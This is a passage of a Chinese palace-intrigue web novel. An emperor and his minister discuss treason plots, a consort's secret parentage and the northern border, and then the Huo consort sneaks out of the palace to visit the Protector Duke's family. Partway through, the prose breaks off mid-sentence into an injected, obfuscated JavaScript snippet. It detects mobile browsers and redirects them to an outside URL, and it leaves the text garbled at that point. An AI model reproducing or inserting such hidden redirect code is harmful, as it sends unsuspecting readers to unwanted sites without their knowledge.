“……”皇帝猝不及防被活活僵住,真懵掉两息时间,嬴忱璧冷静下来按着石桌告诫:“晏卿可知自己在胡言乱语些什么吗,你嫌脖子痒了?” “禀陛下,老穆国公言,在授康十七年以前,庄淑妃堪称圣人后宫争宠第一人,倘若她应付任皇后都要沦落到牺牲个女儿来自保,她还能配屹立至今吗?” 晏霁之唇畔噙笑,善劝道:“臣知陛下难以相信这种荒唐事更难面对皇家被如此羞辱,但臣恐怕您若不愿正视只会错过真相,这岂不是因小失大吗?” 正徽帝嬴忱璧皱紧眉头死死盯着晏霁之,既像在考量他有多少可信又像是被憋得哑了,晏霁之好意帮皇帝把憋在心里的奔腾咆哮给吐出来:“天爷啊,来道雷劈吧!” 嬴忱璧被噎得够呛,抄起茶盅将茶水饮尽,按捺着心绪质问:“老穆国公真有把握吗?庄太妃曾得圣人二十多年宠爱不衰更和郢国公毫无瓜葛,怎么可能闹出这种事?” “庄家扶不起来。”晏霁之淡淡道:“儿女姻亲未必能受她掌控,倘若用个孩子绑住郢国公府在暗中供她驱使,陛下觉得她不会铤而走险吗?” “是因权欲?”嬴忱璧龙颜难看:“庄太妃能这么辜负圣人?” “老郢国公不能吃鳕鱼,一沾就浑身瘙痒起红斑,他儿孙都有遗传到这毛病;老穆国公派人去辽阳试过没烧伤的假冒货,确是吃颗鳕鱼丸就浑身瘙痒起红斑。老穆国公也很肯定,已故的老郢国公才有可能在霍家整出这桩大案,庄太妃没这本事。” 晏霁之再添个料:“老穆国公猜,圣人同样会揪出郢国公府。” 嬴忱璧微怔:“圣人?” “是,老穆国公推测,太上皇不可能相信庄太妃独个儿就能在霍家办出这种大案,想猜庄太妃和谁家合谋更没有疑虑,郢国公府鞠家。”晏霁之感怀道:“陛下,他们可是四十年的拜把兄弟呀,若非如此又岂能避过霍家的防卫不令霍家起疑?” 晏霁之注视皇帝,一种对人性残酷的悲哀萦绕:“陛下,四十年啊,若非圣人的十皇子和八公主亡故,他们可能到老郢国公死时都还是兄弟,一辈子的兄弟情了。 俗语说画虎画皮难画骨,岂知人心比虎骨难千百倍。臣想他们定有过很多年真心相待,否则鞠家怎能骗到老穆国公四十年未看清,何苦,走着走着,竟恨不得害死对方?” 嬴忱璧也不禁动容:“朕想,应该是能守住本心的人太少太少了吧。” 晏霁之执起茶壶斟茶,慢慢品贡茶安顶云雾,让皇帝自己体悟感慨吧。 过片刻,嬴忱璧长叹声,端茶盅抿口,问:“真能确实吗?” “陛下可还记得臣向您禀告过的镇南侯府后宅年轻女眷被杀害之事吗?正是郢国公府派遣死士做下的杀祸。”晏霁之添点编造的假料再解析遍,他相信皇帝肯定明白庄太妃怎会认为霍灵渠是嬴天漾的妾室,毕竟皇帝自己都往那边查。 嬴忱璧皱眉沉吟会儿,吩咐道:“兹事体大,朕必须用鳕鱼验过郢国公和关押在辽阳死牢的假冒货再行斟酌,晏卿暂且帮朕安抚住霍家吧。” “陛下以为圣人的十皇子因何亡故?”晏霁之提醒,嬴忱璧惊诧:“你是说?” “老穆国公肯定他们的关系和庄太妃对郢国公府的意图后,猜测是庄太妃害死十皇子,庄太妃要绑住郢国公府供她驱使又岂能让鞠家有皇子外孙,臣相信这猜测。” 晏霁之表态兼传话:“庄太妃幼女的身世,老穆国公对儿孙们只字未提,霍家只帮郢国公府查十皇子的死因。老人家请陛下体恤,让圣人亲耳听见他的六公主是谁的种。” 嬴忱璧头疼,头疼得没作声,晏霁之自然明白皇帝不想让太上皇知道,不然太上皇可能暴怒得要炸掉更难预料会牵涉多广,皇帝不想让事态超出他掌控。 “陛下以为蜀王能镇住北境吗?” 被牵引过思绪的皇帝嬴忱璧看向他,晏霁之温声道:“授康十八年,圣人对朱家显露宽纵的苗头;授康二十年时,圣人恩宠朱家已经很明朗,昌隆侯府朱家这十五年来享尽荣宠。老穆国公言,朱家自信这是圣人在补偿朱家,十年前就有恃无恐了。 臣敢问陛下,太上皇有多少年没有辖制约束过昌隆侯府朱家了,您以为朱家对于圣人的恩宠是感恩戴德还是视做理所当然?蜀王还能镇得住北境吗?” 正徽帝嬴忱璧凤眸幽幽审视他,斟酌会儿,问:“十年前,授康二十三年,老国丈断言朱家在授康二十三年就敢有恃无恐了?”晏霁之应是,皇帝再问:“穆国公可从未禀告过这份隐忧,是穆国公不知老父心思还是故意隐瞒不报?” “臣忖度应该是穆国公不知,霍老太爷连庄太妃幼女的身世都没对儿孙提过只言片语,霍家当前的重心在报仇,北境的形势有护国公府在前,霍家犯不着越俎代庖。” 晏霁之执起茶壶将茶盅斟满,喟然感佩:“老人家洞察世事,穆国公还没有父亲的锐利只怕未曾觉察,整个朝堂或许也就霍老太爷看出端倪了吧。” “嗯…”嬴忱璧指腹摩挲着光滑的茶盅壁,就当认可这答复了,抿口茶,若有所思道:“你认为昌隆侯将圣人的厚爱视作理所当然还已经肆无忌惮了?” 晏霁之应是:“陛下试想,圣人禅位前,朱家对于晋王的示好,姿态可摆得高。您登基后,朱家反而和晋王往来愈发密切,朱家意图何在,您和圣人都很清楚。 可饶是昌隆侯如此践踏圣人的厚爱,圣人仍然厚待外祖家,这还不足以令他肆无忌惮吗?陛下以为在这泼天荣宠下,昌隆侯还会忌惮圣人吗?” 皇帝眼底杀气闪过:“朱家意图何在,卿可直言,朕不会怪罪。” 晏霁之颔首:“臣斗胆,晋王有不臣之心,昌隆侯意助晋王谋逆好将来裂土分封。” 他语毕,湖心亭陷落诡异的安静,犹似风声鹤唳,是皇帝的威压席卷。嬴忱璧注视他,视线裹藏着锐利,看着晏霁之始终安然,皇帝似赞非赞:“晏卿好胆量。” 晏霁之低眸保持恭谨。 偏西的红日将时刻推向申时末,粼粼波光的湖面被覆层柔晕,摆在湖心亭角落里的花卉盆栽飘逸淡雅清香,可惜赏心悦目的景观没能叫氛围轻快。 “圣人有多少年没有约束过他的外祖家了?”皇帝嬴忱璧既讽刺又像觉得真可笑:“十年还是八年,朕都记不得了。六年前,授康二十七年,朱家私挖铜矿;前年,正徽三年,朱家私自开采金矿,去年朱家都私自铸币了,可圣人就是放纵。 昌隆侯倒向晋王,圣人都还跟朕说:朱家只是贪财,将来他驾崩后朱家绝不会再放肆,父皇还在世,父皇的外祖家想敛财就让他们敛财吧。” 晏霁之默然,前世里昌隆侯府朱家在授康三十一年的大年夜被仇家屠尽满门,这位仇家主动告案自首,老皇帝要将之碎尸万段,奈何朱家造孽太多,那些被朱家迫害过的人家聚集起来跪在皇城前请命竟有万人多,朱家罪孽罄竹难书早已惹得民怨沸腾。 大臣们抵不住民愤,请圣人正视外祖家犯下的累累罪孽,终逼得老皇帝退让准予给屠尽他外祖家的仇家留全尸安葬。前世圣人对外祖家还有约束,不似今生几乎全然放纵。那么,今生圣人对昌隆侯府的放纵也有怜悯外祖家前世遭遇的因由在吧。 “晋王有不臣之心,对,朕和太上皇都清楚晋王有不臣之心更清楚昌隆侯意图何在。”一丝凄凉侵染,嬴忱璧都不知是替谁悲哀:“可饶是朱家都敢谋逆了,圣人还是就当外祖家瞎胡闹,铁心要让朱家得善终,将来处死晋王这亲儿都不会累及昌隆侯那表弟。” 然而昌隆侯却比晋王恶劣得多,晏霁之想皇帝是替自己悲凉吧,他敬爱父亲,他的父皇却要他死;昌隆侯如此践踏太上皇的厚爱,太上皇偏偏还是要给朱家善终。 “或许圣人也觉得孤寂,想要个亲情的寄托吧,授康十八年时,朱太后、温献皇后、任皇后和圣人最疼爱的四公主都不在了,圣人的舅父先昌隆侯也在授康十八年去世,授康十九年时同母亲弟又造反,许是高处不胜寒,圣人嫌凄凉吧。” “你这看法倒是令朕耳目一新。”嬴忱璧莫名好受些,然后被晏霁之告知:“是老穆国公的观点,臣还没有这样的洞察力。”差点令皇帝嬴忱璧噎了噎。 嬴忱璧忍住咳嗽的冲动,端茶盏抿两口茶,神情略有苦恼:“朕从不认为朱家私自铸币是因贪财,贪财,挖金矿还不够吗?朕以为昌隆侯在试探圣人宽容他的底线。 半年前,朱家私自开采铁矿,朕怀疑昌隆侯欲私铸兵器,确实不能再任由他胡来了,可太上皇这把岁数了,若是将外祖家视作亲情的寄托,朕又于心何忍?” 晏霁之眼观鼻鼻观心保持缄默,可他人就在皇帝眼前,沉默有什么用。 嬴忱璧点名,晏霁之郁闷道:“禀陛下,蜀王在北境大概会被架空,倘若蜀王不想做个傀儡主帅,您可建议蜀王送昌隆侯暴毙,圣人还能处死亲儿给表弟报仇吗?” “蜀王很强硬。”嬴忱璧似要求证般曝料:“昌隆侯曾因蜀王妨碍到他在西南敛财而请动太上皇派下旨意勒令蜀王规避,没想到,朕这位三皇兄非但没避让还把昌隆侯在西南经营多年的势力连根拔起,令人叫绝的是太上皇竟然都没有责备蜀王。” “昌隆侯许多年都没那么吃瘪过了。”皇帝问:“蜀王坐镇,他敢侵吞北境吗?” “陛下,太上皇是不是有什么把柄被蜀王捏着呀?”晏霁之乐了。 嬴忱璧瞪他,晏霁之轻咳道:“臣预估,昌隆侯敢,蜀王之下,北地的将领应该只有两种命运,要么被害要么归入昌隆侯麾下,不会存侥幸。” “昌隆侯敢如此猖獗,霁之莫不是在蛊惑朕吧?”嬴忱璧真不大相信。 “老穆国公提点前,臣未想过;但依老太爷的断言,臣推测昌隆侯敢这般猖獗;他笃定圣人不会动他早已肆无忌惮,既要侵吞北地,他怎会不敢害北地不归附他的将领?” “倘若朕调晏家或者霍家镇守北境呢?”嬴忱璧眸色渐深,喃喃自语般问。 “禀陛下,北境换帅的良机,臣赌晋王和昌隆侯绝不会放过。”晏霁之不惮恶意揣测:“哪怕是我父亲英王和穆国公,没有算准昌隆侯恐怕都难以逃过。” 嬴忱璧眼神倏然锐利,一针见血问:“霁之的意思,昌隆侯对北境志在必得,若是在朕和太上皇没有调护国公回京而他想要拿下北境时,他做得出害死护国公?” “对!”晏霁之措辞铿锵:“昌隆侯与晋王蓄势待发欲造反时,他必定做得出。” 皇帝深深注视他会儿,当认同般陷入思索:“昌隆侯?现任昌隆侯执掌家业十四年多,任福建巡抚五年多,朱家的猖獗就是在他手中疯长起来的……” 晏霁之捧着茶盏慢慢品茶,让皇帝自己思量吧。嬴忱璧猜疑半响后笑了,盯着晏霁之,意味深长道:“如若昌隆侯敢侵吞北境,下一步呢?” “联合晋王伺机谋逆。”晏霁之语音未尽戛然收住,桃花眼震惊看着皇帝,他想错了,前夜他还在侃侃而谈:贪得无厌永远不会有满足时啊?! “陛下怀疑昌隆侯的野心连做权臣乃至裂土分疆拿封国都满足不了吗?” “朕不知道。”嬴忱璧眉目逐渐肃杀:“在今日以前,朕从未想过昌隆侯会敢想拿晋王当踏脚石,北境还可能有这等隐忧。”皇帝缓缓收音,神思幽幽,冷不防间,举重若轻砸下:“郢国公府和显国公府有可能会与晋王还有昌隆侯沆瀣一气吗?” 晏霁之愣下,不得不感叹皇帝就是皇帝啊,对谋逆之事敏锐得简直了。 他还没考虑过这层,若按皇帝的设想?晏霁之神情微变,竟是他小看晋王了。 “显国公向来懂得趋利避害,何况陛下在提拔薛家,薛家应该清楚陛下的用意。郢国公应当也不至于,但臣也只是推测而没有把握,臣此刻忧虑的是社稷安危。” 前夜,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459280|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预估若是调离护国公则北境会乱却没想过能有多乱,晏霁之想他真是想少了,老穆国公判的真没错,他磨砺得不够,看得尚浅,眼光不够老辣呀。 “陛下三思。”晏霁之定定注视皇帝,凝重道:“霍家要报仇,晋王岂会没应对,眼前的大好机会他怎会放过?蜀王在北疆应该只会被架空除非昌隆侯和晋王都死。 可蜀王能让昌隆侯暴毙,您对晋王总不能像对昌隆侯那般处理。只要昌隆侯聚拢起来的势力在,死一个昌隆侯对晋王不会有什么影响。假若晋王在霍家动手前赶往北疆拿下北境再与契丹勾连,扑向京畿的战火能转瞬即来,此事真不能不防。” 沉默会儿,嬴忱璧自嘲:“晋王必定已经知道朕和圣人要调护国公回京,在朕以为晋王不足为虑时,晋王会否也在嘲笑朕,白白送给他拿到北境的良机?” 晏霁之莫名有感怀,好心宽慰:“前天夜里,老穆国公教导我,我还很年轻,看得还浅点很正常;不要自满自负更忌讳盲目自大,世间任何事都值得我们保持谦逊,虚怀若谷四个字能让人终身受益;更不要急,慢慢磨慢慢炼,能耐自会炼就出来。” 嬴忱璧微怔看向眼前的臣子,或许是意外或许是从来没人对他说过这种话而感到新鲜,总之皇帝他眼神有点奇异。晏霁之浅浅抿笑,尔雅的笑意似雨过天晴后的竹林那般清爽又似如沐春风般舒服:“陛下若是愿意,有烦恼时可以私底下去和老穆国公谈谈心。 臣自觉对老穆国公会令人不自觉得愿意敬重他,不在于他年老,不在于他拥有的势力,而在于他洞察世事的智慧。若问世间谁有资格能做帝王师,臣以为首推老穆国公。” 虽然是有意引导,但晏霁之也是真心劝诫:“陛下是君王,君王最大的危机在于只需坐在龙椅上就能拥有掌控天下的权利,君王可以不需要智慧就能够做君王。” 但做皇帝绝不能没有洞察世事的智慧,否则极易遭奸佞蒙蔽糊弄,皇帝若是没有明辨的能力则恐乱象横生社稷有危!正徽帝嬴忱璧当然听得懂晏霁之的未尽之意。 “卿家秉直谏言,有心了,北境的布防,朕会和太上皇再商量。” 晏霁之颔首谢恩再放杀招:“老穆国公还有件事让臣代为禀奏陛下,国师给霍家传信,太上皇相信他只剩六年的命了,但圣人觉得拿贵妃炼药能令他延年益寿长命百岁。 先前的宫宴上,圣人当场没说出的话是:国舅可真会藏啊,这可真是踏破铁鞋无觅处,得来全不费工夫。国师说,可能明年可能正徽七年,圣人就要挥刀了。” 嬴忱璧有点懵的关注令他惊奇的点:“什么,贵妃?哪位贵妃,朕的贵妃吗?” 晏霁之略噎下都想夸皇帝可爱了:“禀陛下,圣人只有一位已追尊温献皇后的晏贵妃,温献皇后已经仙逝许多年了,当前举国只有一位霍贵妃,正是陛下的贵妃。” 嬴忱璧噎得都被搞糊涂了:“呃,卿是指,国师告诉霍家,太上皇认为拿朕的贵妃来炼丹药能令他延年益寿吗?谁在蛊惑太上皇,太上皇怎么会相信这么荒谬的事?” 你问你爹啊,晏霁之腹诽,装腔道:“陛下可记得宫宴时圣人对贵妃的兴奋吗?” 嬴忱璧神情微变,凤眸中思绪浮动,喃喃念:“国舅可真会藏啊……” 晏霁之捧起茶盏慢慢饮,瞧着皇帝沉思得差不多了,凉凉道:“陛下不在意贵妃和霍家的死活总该替自己想想,太上皇可是想要长命百岁的。” “朕怎会不在意贵妃?!”正徽帝嬴忱璧严词驳斥,头痛而烦躁:“霁之不觉得奇怪吗,圣人怎么会认可拿贵妃来炼药能延年益寿的荒诞奏言,国师当真没有信口开河吗?” 晏霁之表惭愧:“陛下,太上皇的想法自是只有他自己清楚,臣没本事能猜懂。” 嬴忱璧烦闷地抄起茶盅灌茶水,晏霁之扬扬眉奉上:“陛下想长命百岁吗?” 湖心亭中霎时好像有种断裂的响声敲击在砰砰跳动的心脏,长命百岁的影射,他们君臣彼此心知肚明。嬴忱璧放下茶盅,仿佛在这顷刻间烦闷消退,不是给不出明确答案而是不能放纵窥测君心的行径:“晏卿僭越了,下不为例。” “臣言,圣人若对昌隆侯府犯的罪行挑两件略施薄惩,非但起不到约束的期许反而会令朱家对太上皇心怀憎恨。”晏霁之没预兆地跳话题:“陛下相信臣的判断吗?” “信。”嬴忱璧眸中满布厌恶:“朱家如此践踏圣人的厚爱,朕岂有不信之理?” 晏霁之眼眸溢笑而语含讥诮:“昌隆侯府朱家对圣人恩将仇报,一则在于他们利益熏心贪得无厌,二则在于圣人宠溺放纵他们太过,陛下觉得对否?” 嬴忱璧注视他几息时间,牵唇扬起丝微笑:“霁之有话尽可直言,朕恕无罪。” 晏霁之站起来,以茶当酒举杯,正经道:“人生七十古来稀,生老病死更是亘古真理,生命的精彩向来在于有始有终。若能活到七十岁,我对于活在世间的年数,满足了。 我就祝忱璧你同样能活到七十岁,当你是五六十岁的老皇帝时你还能有年轻时的心境,不惧怕死亡不惧怕衰老,三四十年后当我们都变成老头时,我们还能有谈笑风生时。” 沉静片刻,嬴忱璧端茶盅站起来,和晏霁之碰杯:“好!” 偏西的金乌恋向夕阳,夕阳余晖落进亭檐,给亭中相约洒下斑斓见证。 他们刚坐下,通向湖岸的九曲回廊有身影走来,御前总管走到亭前禀告:“陛下,建威侯夫人报来,今日乃皇后千秋,她想今夜在宫中留宿陪伴皇后娘娘。” 明白提醒皇帝莫忘皇后生辰,晏霁之摇摇头,捏块糕点尝尝,可惜糕点都凉掉了。 大总管蒋厚运瞥见英王世子的动作,也是觉得无语,既然都知道陛下在敲打了,你郭家不知道哪里触怒陛下也不知要来请罪吗?居然还耍这种把戏。 嬴忱璧淡淡道:“念在皇后生辰之喜,建威侯夫人今夜想留宿椒房殿就留吧。” 御前总管领命告退,嬴忱璧看向湖面晚霞蔚然,凝视稍许,交代道:“老穆国公对于圣人六公主身世的请托,朕要考虑。至于太上皇误信的荒谬事,朕自会查出蛊惑太上皇之人,严惩不贷,晏卿暂且帮朕劝老国丈宽心吧。” 晏霁之站起应是,告退出宫。嬴忱璧目送晏霁之的身影越走越远,他垂眸撑着石桌低低念可能明年可能正徽七年……他父皇的耐心确实也快耗尽了吧。 天边火烧云炽烈煊赫,铺陈场回光返照的美景后悄然落幕,唯留黑暗将袭。 华灯初上,有期许皇帝对郭皇后生辰故意冷落会出现反转的悬念也画上终点。 可若说皇宫中众嫔妃们没有动静是看着陛下行事,在皇宫外的官眷全都不曾送礼祝贺,哪儿能有那么凑巧的?霍舒窈来找太后姑母告状顺便看贵妃堂妹时都还提了提:“霍家虽然和郭家撕破脸了但礼数没落下过,萧家贺皇后生辰的礼早就备好了。 就是皇后生辰前一日,二嫂突然来萧家跟我说这礼不要送了,是班丞相交代的,不知道出什么事,反正班丞相就这么交代,你在宫里有听说皇后什么事惹怒陛下了吗?” 霍灵渠答得很宽泛:“皇后和建威侯府行事常行差踏错吧,前天,皇后生辰,阖宫都看得懂陛下在敲打,皇后和她母亲即使不知因何触怒陛下,若想缓和该去告罪,不在意和皇帝疏远就冷淡着关起门来过,可她们偏是去提醒皇帝:皇后生辰你该表态。” “唉,郭家做事是常常颠三不着两。”霍舒窈赞同道:“就好比庆生这事吧,圣人和陛下念及边境战事,千秋日都不让大臣们庆贺,可皇后偏偏做做样都没的。正徽三年时有几家祝皇后千秋送了贺礼,她收了,陛下没阻拦,好嘛,去年就大家都要送礼了。” “皇帝和太上皇寿诞日不让大臣们庆贺呀?”霍灵渠讶异,霍舒窈吐槽:“对啊,朝廷两线作战国库吃紧能省就省啊,皇后倒好,我真想不通她至于贪这点财嘛。” 霍灵渠低低叹息,视线落向刚点燃的熏香,痴望着有些凝神。 霍舒窈没察觉到堂妹的异样,向姑母抱怨通后仍然没消气地发牢骚:“你知道昨天霍家闹出什么样的笑话了吗?”没让堂妹猜,她就答:“霍秦川居然让二嫂带着府医去愗郡公府请娉姨娘和霍超群回来,说什么娉姨娘有身孕了,他疯了吧他!” 她们堂姐妹想叫的时候都会直呼亲爹大名,霍灵渠管爹爹叫霍漓江也是张口就来,她对堂姐直呼亲爹大名淡定忽略,怀疑道:“娉姨娘有身孕了?” “当然是假的,傻瓜都知道是假的,他们想骗霍秦川去愗郡公府接人,这爹脑瓜糊掉了居然真能派二嫂去接人。”霍舒窈这个气啊:“二嫂拗不过去了,霍鸳娇果然不顺着台阶下还要爹亲自去接,气得我昨天都想冲去愗郡公府揪着她打。” “大伯答应了?”霍灵渠惊诧,霍舒窈飚怒:“暂时没应,但他在考虑想让我大娘或者大嫂出面接人,他在讲笑话吧他,他真昏头了是吧?!” “请祖母出面管管吧。”霍灵渠叹气,霍舒窈冷笑:“请祖母没多少用,这爹的臭德行只有姑母能镇得住,他要是真不想要脸了我就让姑母踩死他的脸!” 霍灵渠笑起来:“对哦,大伯打小最疼爱妹妹了,姑母要往西,大伯绝不会往东。” “哼!真亏得他没被娉姨娘冲昏头,你和姑母、二叔都能把娉姨娘给死死压住。”霍舒窈狠狠冷笑,拉着堂妹发泄通后困意来袭,怀孕嗜睡的,没眨两下眼就困得眼皮睁不开;她只好在堂妹的寝殿里歇会儿,一沾枕头就睡着了。 一觉睡醒,霍舒窈神清气爽伸懒腰,发现枕畔有张纸条,她拿过来瞧瞧,吓得她肝颤颤想喊娘,纸条上写:大姐,我有事要出宫一趟,冒充你出宫了。 89. 第89章 贵妃假冒堂姐能蒙混出皇宫吗? 能的,霍灵渠就用霍舒窈的衣裳装扮再戴着帏帽坐进轿中,坐轿出了皇城门。 霍太后捏着纸条,真有想把这群没长眼的奴婢全打个皮开肉绽的冲动,霍舒窈穿着贵妃堂妹的新衣裳坐在美人榻里托腮怨艾,她反而淡定得都不想生气了。 霍漓江赶到就被甩张纸条,太后派人来告诉他有火烧眉毛的事让他即刻来长春宫,什么事都没说,他还真不觉得这妹妹能有什么急事,进屋来被甩张纸条差点想怼她,展开纸条看眼憋得他心塞了,和情郎才分开几日啊,这闺女偷溜出宫还上瘾了是吧? 平复下,霍漓江揣纸条出宫,出皇城后拖上大侄儿就让霍海啸去把人接回来。 “什么,贵妃假扮舒窈溜出皇宫?”晏霁之惊诧:“你不是在跟我开玩笑吧?” “别跟我装啊,叔叔没亲自过来就是怕忍不住要把你揍成猪头。”霍海啸把纸条甩给他:“现在立刻把人给我交出来,你再耍花样,我保管也会忍不住想揍你。” 晏霁之展开纸条看遍,冷静道:“我发誓我没见过她,整上午我都在衙门忙,你看清楚我现在在工部衙门,她若来找我,我还能在衙门里吗? 再者她是偷偷溜出宫,天黑前她必须回皇宫把舒窈给换出来,倘若她当真有事找我,她不能传召我进宫吗?若是为幽会,你觉得你妹妹至于吗?” 霍海啸动摇:“人真不在你这里?” 晏霁之耐着脾性说:“你要不要守着我到天黑,她独自出宫,我还能跟你开玩笑吗?” “可若非找你,还能有什么事能让灵渠冒险溜出宫?”霍海啸很怀疑,晏霁之猜:“找过魏王没有?魏王有可能会知道,你找魏王试试?” “找魏王?”霍海啸迟疑:“你觉得灵渠出宫来会不找你反而找魏王吗?” “至少她在英王府时是帮魏王做细作,他们俩之间有我不知道的秘密。”晏霁之话落,瞧着这位暂时偏离得很远的大舅哥没有意外反而沉默晦涩、晦涩中有难受,揶揄道:“猜也猜到你们猜出她和魏王的关系了,这是没料到我也清楚吗?” “灵渠去北地投奔的人家在五年前被下狱了,祖父猜,灵渠没有和北境的人家断掉联系而是回京畿来找人帮忙,挑中魏王,故而,灵渠入风尘是进撷芳馆。” 霍海啸略显闷沉:“你怎么知道灵渠在英王府时是在做细作?” “四年多总有蛛丝马迹露出来的。”晏霁之敷衍略过,忖度道:“你去找魏王,我预感她就算不会找魏王但魏王会比我们清楚该去哪里找她,我找姨夫进宫禀告给皇帝。” 霍海啸皱眉:“告知皇帝妥当吗,若能把事情遮掩住还主动捅出来岂非画蛇添足吗?” “她独自在宫外,必须尽快把人找到,但我们现在都没把握能在什么时候找到她,你能保证必定不会泄露风声吗?霍家主动禀告总比皇帝自己收到风声强。”晏霁之拿定主意道:“你找魏王,我和姨夫进宫,你派人在春风楼留消息,我们出宫后先去春风楼。” “好!” 就在霍海啸和晏霁之各自行事之际,霍灵渠来到她偷溜出皇宫的目的地前,相隔老远,她遥望着那座饱经摧残仍屹立在阳光下的宅邸,说不出的心酸晦涩。 许久,平复住眼底的涩意,霍灵渠握握拳往前走,可走近时仍想退缩,她踌躇再三,偏转方向走到离府门较远的墙边靠着,身体沿着墙滑下来靠墙坐,她抱膝坐在墙边,坐了不知多久才鼓足勇气站起来,重新向府门走去,向门房打探:“小哥,您家二奶奶在吗?” 门房小哥的眼力劲是好的,看得出眼前这位美得亮瞎他眼的女子是富贵人家的少奶奶,他形容恭敬客气但不是因对方的美貌而是国公府的规矩惯来如此,绝没有捧高踩低的。 “这位少奶奶,我家二奶奶病倒了在养病,不知您是谁家少奶奶,可有拜贴,您的婢女仆从呢,您怎么独自走过来;您报个名号,小的好通禀世子夫人再给您回话。” “我……”霍灵渠捏捏手心,挤笑道:“我叫霍灵渠,我爹是兴献侯霍漓江。” 官宦人家的小厮不知道霍灵渠就是霍贵妃还能不知道兴献侯霍漓江的长女是贵妃吗?门房倒吸凉气:“少奶奶您……您是贵妃?您可别吓唬小的,这可不能说笑。” “我独自过来的,小哥若是觉得口说无凭,我也没法给自己证明,不知您家夫人在吗?若是您家国公夫人现在府中,麻烦你帮我通禀声;若是她不在,我就不叨扰了。” “呃,我们家国公夫人在府里的,那少奶奶您等等,小的进府去禀告。”门房爽快。 霍灵渠颔首道谢:“好,多谢小哥了。” 两刻钟后,一位双鬓有银丝面貌和善看起来五旬年纪的老夫人带着个年约二十七八岁的美貌妇人和十五六岁的小姑娘率领众仆从来到府门前,见访客真是在宫宴上见过的霍贵妃,忙率众施礼问安:“老身不知贵妃娘娘驾临寒舍,有失远迎,望贵妃恕罪。” “是我冒昧造访叨扰您家了。”霍灵渠上前搀道:“国公夫人不必多礼,都免礼吧。” “多谢贵妃娘娘。”老夫人谨慎地可不敢受霍贵妃的虚扶,退后步,快速四下环顾眼,竟然当真是霍贵妃独身前来,不禁古怪:“娘娘,跟随您过来的宫人仪仗呢?” “我怕打扰府中清静就让他们退远了。”霍灵渠小心问:“夫人,您家二奶奶病了?” 老夫人更觉古怪,面上恭敬规矩答道:“是,二媳妇病了,劳贵妃挂心真是惭愧。” 霍灵渠据实推测:“您家有参加贵妃册封典礼的宫宴吧,当时就是您只带长媳和女儿进宫参宴而没有带二儿媳妇吗?二奶奶是那时就病着吗,她得什么病这么久没痊愈呀?” 十五六岁眉眼英气的小姑娘悄悄翻白眼,差不多能肯定霍贵妃就是来挑刺的。她母亲同样怀疑霍贵妃是来找茬,毕竟这查问得太像了:“禀贵妃,老身这二媳妇自幼爱舞枪弄棒,前几年她在北地时还偏要闹着想做女将军上战场杀敌。 五年前就是授康二十八年时她上战场受伤落下病根,家中小孙儿又随老身未过门的三儿媳妇飘零在外近五年没有音讯,二媳妇思念孩子,一年到头有大半年都是病着了。” “您家未过门的三儿媳?”霍灵渠眨眨眼,咬字苦涩极了:“传闻,她是个婢女?” 十五六岁的小姑娘不忿想对呛被长嫂按住,国公夫人笑得恭顺似忘记了要请贵妃进府坐而就在府门前站着说话:“禀贵妃,老身家的三儿媳是原家的远房亲戚。 何家家道中落,就剩忘忧她们姐妹俩了。忘忧带着妹妹去北方投奔我家老爷,忘忧是个实心眼的孩子,不愿意白白受原家照料,这才在二媳妇身边做大丫头。” 霍灵渠轻轻挤笑哦声,眼酸道:“您家……您家在北境抗击外敌的家人都还好吗?” 老太太满满的感激涕零样:“蒙圣恩庇佑,家中一切都好,老身谢娘娘关怀。” 霍灵渠又是哦声好似除了哦外都说不出别的话来了,她抬手擦擦眼眸,注视两眼老人家发髻的银丝后视线转向她身侧的年轻妇人再瞟向旁边的小姑娘,发现小姑娘佩戴着只已经褪色的绣喜鹊登枝的旧荷包,压抑苦涩说:“荷包旧了该换新的,不要再戴了。” 小姑娘原牧蔷慢拍意识到霍贵妃是冲着她,毫无惧色地对呛:“贵妃娘娘,这荷包是我未来三嫂送给我的,是三嫂还在家时从北方给我送过来的年礼呢,是三嫂亲自绣的。如今我们家骨肉离散,这荷包就更珍贵了,怎么能因为旧就换呢?” “她叫忘忧,何忘忧?”霍灵渠想哭又想笑:“何忘忧,如何还能忘忧,这名字不好。” 你才名字不好呢还抢条运河的名字!小姑娘想再怼被她母亲抢前了:“贵妃娘娘,名字都是长辈的恩赐和祝福,忘忧忘忧,这忘忧二字是何家长辈对孩子最好的期许了。” 霍灵渠没回应,视线看向低眉顺眼的年轻妇人,语气难辨:“您家就一个孙辈呀?” 老太太语调略显感慨:“是,家中大儿和长媳长年聚少离多,一直未能孕育孩儿。”她说着语气丝毫没有遗憾埋怨怅惘什么的而唯有歉然:“是原家愧对大儿媳妇了。” “您家长媳是虢王长女章醇郡主,现任虢王是圣人的堂弟,这亲事是圣人御赐,对吗?”霍灵渠问,老太太答:“是,承蒙圣人隆恩下降宗室郡主,实乃我原家大幸。” “本宫若是没记错,您家世子和世子夫人是授康二十一年成婚的,当今陛下和郭皇后也是那年成婚的。而今陛下和皇后渐行渐远,本宫总觉得不是什么好兆头。”霍灵渠笑意幽幽:“快三十岁如狼似虎的年纪,老夫人您家大儿媳常年独守空闺,您可要当心啊。” 小姑娘原牧蔷要对骂被长嫂死死按住,而被霍贵妃喻指可能会红杏出墙的章醇郡主平静得犹如置若罔闻,老太太谦恭含笑:“老身多谢贵妃娘娘提点。” 霍灵渠再看眼章醇郡主,抿抿唇跳话题:“传闻圣人有意调护国公回京,您知道吗?” “蒙圣人恩典,是原家几世修来的福分。”老太太没作答但应对得体绝对挑不出错来,霍灵渠沉默下倏尔扬笑:“对,护国公府保家卫国乃有福之家,定会福泽绵长。” 语毕,霍灵渠颔首告辞:“烦请夫人代我向养病的二奶奶问候,请她多保重,告辞了。” 年五十一岁的护国公夫人谢过贵妃恩惠再率众施礼相送:“恭送贵妃娘娘。” 霍灵渠抬手擦擦眼,转身离开。她走出数丈远,憋久的小姑娘当即发泄:“欺压郭皇后还不够还要跑我们家来耀武扬威,我看霍家倒掉后她还能不能狂得起来……” 